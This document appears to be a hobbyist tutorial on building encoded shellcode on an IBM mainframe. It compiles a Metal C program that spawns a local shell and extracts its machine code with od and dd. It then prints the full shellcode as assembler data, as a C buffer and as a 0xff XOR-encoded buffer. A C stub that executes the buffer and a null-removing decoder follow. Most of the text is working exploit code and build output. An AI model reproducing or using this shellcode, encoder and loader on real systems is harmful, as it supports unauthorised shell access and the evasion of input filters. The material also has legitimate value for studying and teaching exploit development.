Use this (loosley, be smart c'mon) to help you build encoded shellcode 
on a mainframe!  WOW!


1) compile 
    xlc -I /usr/include/metal/ -S -qmetal exec_local_shell_uss.c
    as -as=exec_local_shell_uss.txt exec_local_shell_uss.s
    ld  -o exec_local_shell_uss exec_local_shell_uss.o
2) ./exec_local_shell_uss
3) exit
4) echo $?
 
5) cat exec_local_shell_uss.txt
    (looking for inital STM statement, see exec_local_shell_uss.txt for this HEX)
    here 0x90ebd00cc0f0......
    
    87   00000038                                      27 MAIN     DS    0F                                                        000004
    88   00000038 90EB D00C               0000000C     28          STM   14,11,12(13)                                              000004
    89   0000003C C0F0 FFFF FFFE          00000038     29          LARL  15,MAIN                                                   000004
    90                       R:F 00000038	       30          USING MAIN,15                                                   000004

6) od -Ax -tx1 -v -j0x220 -N0x16c ./exec_local_shell_uss
    (these offsets 0x220 and 0x16c are found by using dbx tool or reading the .txt output )
    ( file and looking for the beginning / end of relevant object code)
    
       0000000220    90  EB  D0  0C  C0  F0  FF  FF  FF  FE  58  00  F0  28  58  F0
       0000000230    F0  2C  58  E0  00  10  58  EE  03  04  58  EE  00  A0  B2  18
       0000000240    E0  00  A7  F4  00  07  00  00  00  10  00  D8  00  00  00  06
       0000000250    18  FD  18  D1  50  F0  D0  04  50  D0  F0  08  58  10  F0  18
       0000000260    41  A0  00  D8  1E  AD  50  A0  D0  48  C0  30  00  00  00  77
       0000000270    EB  EB  D0  94  00  26  C0  B0  00  00  00  75  41  20  00  00
       0000000280    50  20  D0  80  41  E0  00  07  50  E0  D0  84  41  E0  D0  80
       0000000290    50  E0  D0  88  18  E2  50  E0  D0  90  D2  03  D0  90  E0  10
       00000002A0    58  E0  D0  90  D2  03  D0  90  E2  20  58  E0  D0  90  D2  03
       00000002B0    D0  90  E0  18  58  E0  D0  90  D2  03  D0  90  E0  E4  58  E0
       00000002C0    D0  88  1F  00  43  00  E0  00  58  F0  D0  90  41  E0  D0  80
       00000002D0    41  40  D0  84  41  10  D0  4C  50  40  D0  4C  18  4B  50  40
       00000002E0    D0  50  50  E0  D0  54  50  00  D0  58  50  00  D0  5C  50  E0
       00000002F0    D0  60  50  00  D0  64  50  00  D0  68  50  E0  D0  6C  50  00
       0000000300    D0  70  50  E0  D0  74  50  E0  D0  78  50  E0  D0  7C  D2  03
       0000000310    D0  08  D0  48  0D  EF  18  F2  EB  EB  D0  94  00  96  18  1D
       0000000320    58  D0  D0  04  50  F0  D0  10  C0  F0  00  00  00  00  58  00
       0000000330    F0  30  A7  F8  00  03  58  E0  00  10  58  EE  03  04  58  EE
       0000000340    00  CC  B2  18  E0  00  58  F0  D0  10  58  E0  D0  0C  98  1B
       0000000350    D0  18  07  FE  00  00  00  00  00  10  00  D8  00  00  00  00
       0000000360    61  82  89  95  61  A2  88  00  CC  D5  FF  F3  FF  FF  FE  84
       0000000370    00  80  40  01  00  00  00  00  00  00  00  00  00  00  FF  F3
       0000000380    00  00  00  94  00  04  94  81  89  95  80  00
      
7) dd if=./exec_local_shell_uss of=./objcode.bin bs=1 skip=544 count=364
FSUM6384 368+0 records in
368+0 records out
(same offsets as od above, just in dec not hex)


8) bash-4.2$ od -Ax -tx1 -v ./objcode.bin
       0000000000    90  EB  D0  0C  C0  F0  FF  FF  FF  FE  58  00  F0  28  58  F0
       0000000010    F0  2C  58  E0  00  10  58  EE  03  04  58  EE  00  A0  B2  18
       0000000020    E0  00  A7  F4  00  07  00  00  00  10  00  D8  00  00  00  06
       0000000030    18  FD  18  D1  50  F0  D0  04  50  D0  F0  08  58  10  F0  18
       0000000040    41  A0  00  D8  1E  AD  50  A0  D0  48  C0  30  00  00  00  77
       0000000050    EB  EB  D0  94  00  26  C0  B0  00  00  00  75  41  20  00  00
       0000000060    50  20  D0  80  41  E0  00  07  50  E0  D0  84  41  E0  D0  80
       0000000070    50  E0  D0  88  18  E2  50  E0  D0  90  D2  03  D0  90  E0  10
       0000000080    58  E0  D0  90  D2  03  D0  90  E2  20  58  E0  D0  90  D2  03
       0000000090    D0  90  E0  18  58  E0  D0  90  D2  03  D0  90  E0  E4  58  E0
       00000000A0    D0  88  1F  00  43  00  E0  00  58  F0  D0  90  41  E0  D0  80
       00000000B0    41  40  D0  84  41  10  D0  4C  50  40  D0  4C  18  4B  50  40
       00000000C0    D0  50  50  E0  D0  54  50  00  D0  58  50  00  D0  5C  50  E0
       00000000D0    D0  60  50  00  D0  64  50  00  D0  68  50  E0  D0  6C  50  00
       00000000E0    D0  70  50  E0  D0  74  50  E0  D0  78  50  E0  D0  7C  D2  03
       00000000F0    D0  08  D0  48  0D  EF  18  F2  EB  EB  D0  94  00  96  18  1D
       0000000100    58  D0  D0  04  50  F0  D0  10  C0  F0  00  00  00  00  58  00
       0000000110    F0  30  A7  F8  00  03  58  E0  00  10  58  EE  03  04  58  EE
       0000000120    00  CC  B2  18  E0  00  58  F0  D0  10  58  E0  D0  0C  98  1B
       0000000130    D0  18  07  FE  00  00  00  00  00  10  00  D8  00  00  00  00
       0000000140    61  82  89  95  61  A2  88  00  CC  D5  FF  F3  FF  FF  FE  84
       0000000150    00  80  40  01  00  00  00  00  00  00  00  00  00  00  FF  F3
       0000000160    00  00  00  94  00  04  94  81  89  95  80  00


9) buf2dc.py objcode.bin
*Buffer length:       728
*Number of bytes:     364
*Padding bytes:         0
*Enc buffer char:  0x2
*
*ASM buffer:
         DC    X'92e9d20ec2f2fdfdfdfc5a02f22a5af2f22e5ae202125aec01065aX
               ec02a2b01ae202a5f602050202021202da020202041aff1ad352f2d2X
               0652d2f20a5a12f21a43a202da1caf52a2d24ac23202020275e9e9d2X
               960224c2b202020277432202025222d28243e2020552e2d28643e2d2X
               8252e2d28a1ae052e2d292d001d292e21'
         DC    X'25ae2d292d001d292e0225ae2d292d001d292e21a5ae2d292d001dX
               292e2e65ae2d28a1d024102e2025af2d29243e2d2824342d2864312dX
               24e5242d24e1a495242d25252e2d2565202d25a5202d25e52e2d2625X
               202d2665202d26a52e2d26e5202d27252e2d27652e2d27a52e2d27edX
               001d20ad24a0fed1af0e9e9d29602941a'
         DC    X'1f5ad2d20652f2d212c2f2020202025a02f232a5fa02015ae20212X
               5aec01065aec02ceb01ae2025af2d2125ae2d20e9a19d21a05fc0202X
               0202021202da0202020263808b9763a08a02ced7fdf1fdfdfc860282X
               420302020202020202020202fdf102020296020696838b978202'

C buffer:
"\x90\xeb\xd0\x0c\xc0\xf0\xff\xff\xff\xfe\x58\x00\xf0\x28\x58\xf0"
"\xf0\x2c\x58\xe0\x00\x10\x58\xee\x03\x04\x58\xee\x00\xa0\xb2\x18"
"\xe0\x00\xa7\xf4\x00\x07\x00\x00\x00\x10\x00\xd8\x00\x00\x00\x06"
"\x18\xfd\x18\xd1\x50\xf0\xd0\x04\x50\xd0\xf0\x08\x58\x10\xf0\x18"
"\x41\xa0\x00\xd8\x1e\xad\x50\xa0\xd0\x48\xc0\x30\x00\x00\x00\x77"
"\xeb\xeb\xd0\x94\x00\x26\xc0\xb0\x00\x00\x00\x75\x41\x20\x00\x00"
"\x50\x20\xd0\x80\x41\xe0\x00\x07\x50\xe0\xd0\x84\x41\xe0\xd0\x80"
"\x50\xe0\xd0\x88\x18\xe2\x50\xe0\xd0\x90\xd2\x03\xd0\x90\xe0\x10"
"\x58\xe0\xd0\x90\xd2\x03\xd0\x90\xe2\x20\x58\xe0\xd0\x90\xd2\x03"
"\xd0\x90\xe0\x18\x58\xe0\xd0\x90\xd2\x03\xd0\x90\xe0\xe4\x58\xe0"
"\xd0\x88\x1f\x00\x43\x00\xe0\x00\x58\xf0\xd0\x90\x41\xe0\xd0\x80"
"\x41\x40\xd0\x84\x41\x10\xd0\x4c\x50\x40\xd0\x4c\x18\x4b\x50\x40"
"\xd0\x50\x50\xe0\xd0\x54\x50\x00\xd0\x58\x50\x00\xd0\x5c\x50\xe0"
"\xd0\x60\x50\x00\xd0\x64\x50\x00\xd0\x68\x50\xe0\xd0\x6c\x50\x00"
"\xd0\x70\x50\xe0\xd0\x74\x50\xe0\xd0\x78\x50\xe0\xd0\x7c\xd2\x03"
"\xd0\x08\xd0\x48\x0d\xef\x18\xf2\xeb\xeb\xd0\x94\x00\x96\x18\x1d"
"\x58\xd0\xd0\x04\x50\xf0\xd0\x10\xc0\xf0\x00\x00\x00\x00\x58\x00"
"\xf0\x30\xa7\xf8\x00\x03\x58\xe0\x00\x10\x58\xee\x03\x04\x58\xee"
"\x00\xcc\xb2\x18\xe0\x00\x58\xf0\xd0\x10\x58\xe0\xd0\x0c\x98\x1b"
"\xd0\x18\x07\xfe\x00\x00\x00\x00\x00\x10\x00\xd8\x00\x00\x00\x00"
"\x61\x82\x89\x95\x61\xa2\x88\x00\xcc\xd5\xff\xf3\xff\xff\xfe\x84"
"\x00\x80\x40\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xf3"
"\x00\x00\x00\x94\x00\x04\x94\x81\x89\x95\x80\x00"

Encoded C buffer:
"\x92\xe9\xd2\x0e\xc2\xf2\xfd\xfd\xfd\xfc\x5a\x02\xf2\x2a\x5a\xf2"
"\xf2\x2e\x5a\xe2\x02\x12\x5a\xec\x01\x06\x5a\xec\x02\xa2\xb0\x1a"
"\xe2\x02\xa5\xf6\x02\x05\x02\x02\x02\x12\x02\xda\x02\x02\x02\x04"
"\x1a\xff\x1a\xd3\x52\xf2\xd2\x06\x52\xd2\xf2\x0a\x5a\x12\xf2\x1a"
"\x43\xa2\x02\xda\x1c\xaf\x52\xa2\xd2\x4a\xc2\x32\x02\x02\x02\x75"
"\xe9\xe9\xd2\x96\x02\x24\xc2\xb2\x02\x02\x02\x77\x43\x22\x02\x02"
"\x52\x22\xd2\x82\x43\xe2\x02\x05\x52\xe2\xd2\x86\x43\xe2\xd2\x82"
"\x52\xe2\xd2\x8a\x1a\xe0\x52\xe2\xd2\x92\xd0\x01\xd2\x92\xe2\x12"
"\x5a\xe2\xd2\x92\xd0\x01\xd2\x92\xe0\x22\x5a\xe2\xd2\x92\xd0\x01"
"\xd2\x92\xe2\x1a\x5a\xe2\xd2\x92\xd0\x01\xd2\x92\xe2\xe6\x5a\xe2"
"\xd2\x8a\x1d\x02\x41\x02\xe2\x02\x5a\xf2\xd2\x92\x43\xe2\xd2\x82"
"\x43\x42\xd2\x86\x43\x12\xd2\x4e\x52\x42\xd2\x4e\x1a\x49\x52\x42"
"\xd2\x52\x52\xe2\xd2\x56\x52\x02\xd2\x5a\x52\x02\xd2\x5e\x52\xe2"
"\xd2\x62\x52\x02\xd2\x66\x52\x02\xd2\x6a\x52\xe2\xd2\x6e\x52\x02"
"\xd2\x72\x52\xe2\xd2\x76\x52\xe2\xd2\x7a\x52\xe2\xd2\x7e\xd0\x01"
"\xd2\x0a\xd2\x4a\x0f\xed\x1a\xf0\xe9\xe9\xd2\x96\x02\x94\x1a\x1f"
"\x5a\xd2\xd2\x06\x52\xf2\xd2\x12\xc2\xf2\x02\x02\x02\x02\x5a\x02"
"\xf2\x32\xa5\xfa\x02\x01\x5a\xe2\x02\x12\x5a\xec\x01\x06\x5a\xec"
"\x02\xce\xb0\x1a\xe2\x02\x5a\xf2\xd2\x12\x5a\xe2\xd2\x0e\x9a\x19"
"\xd2\x1a\x05\xfc\x02\x02\x02\x02\x02\x12\x02\xda\x02\x02\x02\x02"
"\x63\x80\x8b\x97\x63\xa0\x8a\x02\xce\xd7\xfd\xf1\xfd\xfd\xfc\x86"
"\x02\x82\x42\x03\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\xfd\xf1"
"\x02\x02\x02\x96\x02\x06\x96\x83\x8b\x97\x82\x02"

3 outputs:

    1)  ASM data that can be used directly in assembler code as data definition
    2)  C style buffer to test with typical c stub
    3)  0xff XOR encoded (to remove nulls) C style buffer

10)  Build C stub test pgm

      int main() {
              unsigned char sc[] =
"\x90\xeb\xd0\x0c\xc0\xf0\xff\xff\xff\xfe\x58\x00\xf0\x28\x58\xf0"
"\xf0\x2c\x58\xe0\x00\x10\x58\xee\x03\x04\x58\xee\x00\xa0\xb2\x18"
"\xe0\x00\xa7\xf4\x00\x07\x00\x00\x00\x10\x00\xd8\x00\x00\x00\x06"
"\x18\xfd\x18\xd1\x50\xf0\xd0\x04\x50\xd0\xf0\x08\x58\x10\xf0\x18"
"\x41\xa0\x00\xd8\x1e\xad\x50\xa0\xd0\x48\xc0\x30\x00\x00\x00\x77"
"\xeb\xeb\xd0\x94\x00\x26\xc0\xb0\x00\x00\x00\x75\x41\x20\x00\x00"
"\x50\x20\xd0\x80\x41\xe0\x00\x07\x50\xe0\xd0\x84\x41\xe0\xd0\x80"
"\x50\xe0\xd0\x88\x18\xe2\x50\xe0\xd0\x90\xd2\x03\xd0\x90\xe0\x10"
"\x58\xe0\xd0\x90\xd2\x03\xd0\x90\xe2\x20\x58\xe0\xd0\x90\xd2\x03"
"\xd0\x90\xe0\x18\x58\xe0\xd0\x90\xd2\x03\xd0\x90\xe0\xe4\x58\xe0"
"\xd0\x88\x1f\x00\x43\x00\xe0\x00\x58\xf0\xd0\x90\x41\xe0\xd0\x80"
"\x41\x40\xd0\x84\x41\x10\xd0\x4c\x50\x40\xd0\x4c\x18\x4b\x50\x40"
"\xd0\x50\x50\xe0\xd0\x54\x50\x00\xd0\x58\x50\x00\xd0\x5c\x50\xe0"
"\xd0\x60\x50\x00\xd0\x64\x50\x00\xd0\x68\x50\xe0\xd0\x6c\x50\x00"
"\xd0\x70\x50\xe0\xd0\x74\x50\xe0\xd0\x78\x50\xe0\xd0\x7c\xd2\x03"
"\xd0\x08\xd0\x48\x0d\xef\x18\xf2\xeb\xeb\xd0\x94\x00\x96\x18\x1d"
"\x58\xd0\xd0\x04\x50\xf0\xd0\x10\xc0\xf0\x00\x00\x00\x00\x58\x00"
"\xf0\x30\xa7\xf8\x00\x03\x58\xe0\x00\x10\x58\xee\x03\x04\x58\xee"
"\x00\xcc\xb2\x18\xe0\x00\x58\xf0\xd0\x10\x58\xe0\xd0\x0c\x98\x1b"
"\xd0\x18\x07\xfe\x00\x00\x00\x00\x00\x10\x00\xd8\x00\x00\x00\x00"
"\x61\x82\x89\x95\x61\xa2\x88\x00\xcc\xd5\xff\xf3\xff\xff\xfe\x84"
"\x00\x80\x40\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xf3"
"\x00\x00\x00\x94\x00\x04\x94\x81\x89\x95\x80\x00";

       	int (*ret)();
       	ret = (int(*)())(sc);
      	(int)(*ret)();
      	return 0;
      }
      
11)  compile   xlc -o test  test.c

12) ./test
$ exit
echo $? 
0

**  IF YOU don't care about nulls in the shell code, you're done here! **
**  if you do, carry on to the next step **

13)  Add to decoder.s file, tweak and test
         TITLE ' ./decoder.s'       ACONTROL AFPR
         ......
         DC    X'DEADBEEF'     #egg
         DC    X'DEADBEEF'     #egg
** End cleanup and stack management **
*******************************************************************
* the following is shellcode that "execs" a shell using BP1EXC    *
* assembler callable service padded at the end with 00's to land  *
* on word boundaries                                              *
* the hex is then xor encoded with 0xff per byte to remove nulls  *
*******************************************************************
*Buffer length:       736
*Number of bytes:     368
*Padding bytes:         4
*Enc buffer char:  0x2
*
*ASM buffer:
         DC    X'92e9d20ec2f2fdfdfdfc5a02f22a5af2f22e5ae202125aec01065aX
               ec02a2b01ae202a5f602050202021202da020202041aff1ad352f2d2X
               0652d2f20a5a12f21a43a202da1caf52a2d24ac23202020275e9e9d2X
               960224c2b202020277432202025222d28243e2020552e2d28643e2d2X
               8252e2d28a1ae052e2d292d001d292e2'
         DC    X'125ae2d292d001d292e0225ae2d292d001d292e21a5ae2d292d001X
               d292e2e65ae2d28a1d024102e2025af2d29243e2d2824342d2864312X
               d24e5242d24e1a495242d25252e2d2565202d25a5202d25e52e2d262X
               5202d2665202d26a52e2d26e5202d27252e2d27652e2d27a52e2d27eX
               d001d20ad24a0fed1af0e9e9d2960294'
         DC    X'1a1f5ad2d20652f2d212c2f2020202025a02f232a5fa02015ae202X
               125aec01065aec02ceb01ae2025af2d2125ae2d20e9a19d21a05fc02X
               020202021202da0202020263808b9763a08a02ced7fdf1fdfdfc8602X
               82420302020202020202020202fdf102020296020696838b978202f2X
               f2f2f2'
         DC    X'8BADF00D'   eof marker
EOC      DS    18F        # stg area
         END

14)  Compile and test this file

as -as=decoder.txt decoder.s
ld -o decoder decoder.of
./decoder
$   
exit
echo $?
0

15)  Last step

take the binary you just created and build SC to test in the C buffer (steps 7-12)
Good luck!

More better updated nfo @  https://www.bigendiansmalls.com
on the twitters at @bigendiansmalls
email  mainframe@bigendiansmalls.com

